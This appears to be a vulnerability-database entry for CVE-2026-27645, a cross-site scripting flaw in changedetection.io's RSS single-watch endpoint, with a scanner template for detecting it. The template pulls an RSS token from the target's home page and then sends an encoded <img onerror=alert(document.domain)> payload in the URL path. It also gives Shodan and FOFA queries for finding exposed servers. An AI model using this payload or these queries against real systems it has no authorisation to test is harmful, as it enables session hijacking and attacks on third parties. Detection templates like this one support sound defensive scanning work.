Changedetection.io RSS Single Watch - Cross-Site Scripting
CVE-2026-27645
Verified
Description
changedetection.io < 0.54.1 contains a stored XSS caused by unescaped reflection of UUID path parameter in RSS single-watch endpoint, letting remote attackers execute JavaScript in victim's browser, exploit requires victim to visit crafted URL.
Severity
Medium
CVSS Score
6.1
Exploit Probability
0%
Published Date
February 27, 2026
Template Author
0x_akoko
CVE-2026-27645.yaml
id: CVE-2026-27645
info:
name: Changedetection.io RSS Single Watch - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
changedetection.io < 0.54.1 contains a stored XSS caused by unescaped reflection of UUID path parameter in RSS single-watch endpoint, letting remote attackers execute JavaScript in victim's browser, exploit requires victim to visit crafted URL.
impact: |
Attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks
remediation: |
Update to version 0.54.1 or later.
reference:
- https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w
- https://github.com/dgtlmoon/changedetection.io/commit/a385c89abf44b52fcfa20c7c6a6dd3047c4c1eb5
- https://nvd.nist.gov/vuln/detail/CVE-2026-27645
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-27645
cwe-id: CWE-79
epss-score: 0.00445
epss-percentile: 0.35811
metadata:
max-request: 2
verified: true
fofa-query: title="Change Detection"
shodan-query: http.title:"Change Detection"
tags: cve,cve2026,xss,changedetection,rss
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "rss?token=", "Change Detection")'
internal: true
extractors:
- type: regex
name: rss_token
part: body
group: 1
regex:
- 'rss\?token=([a-f0-9]{16,64})'
internal: true
- method: GET
path:
- "{{BaseURL}}/rss/watch/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token={{rss_token}}"
matchers:
- type: dsl
dsl:
- 'status_code == 404'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<img src=x onerror=alert(document.domain)>", "Watch with UUID")'
condition: and
# digest: 4b0a00483046022100d623c62d5465812ff1deee42bd195be4903c4420a043f32971cbf0c7c4f5fa9c022100dedc35d649287ec0f8acb76f39f877f2f0413686f8db3342966afc86b52005b3:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2026-27645
CWE ID:
cwe-79
Remediation Steps
Update to version 0.54.1 or later.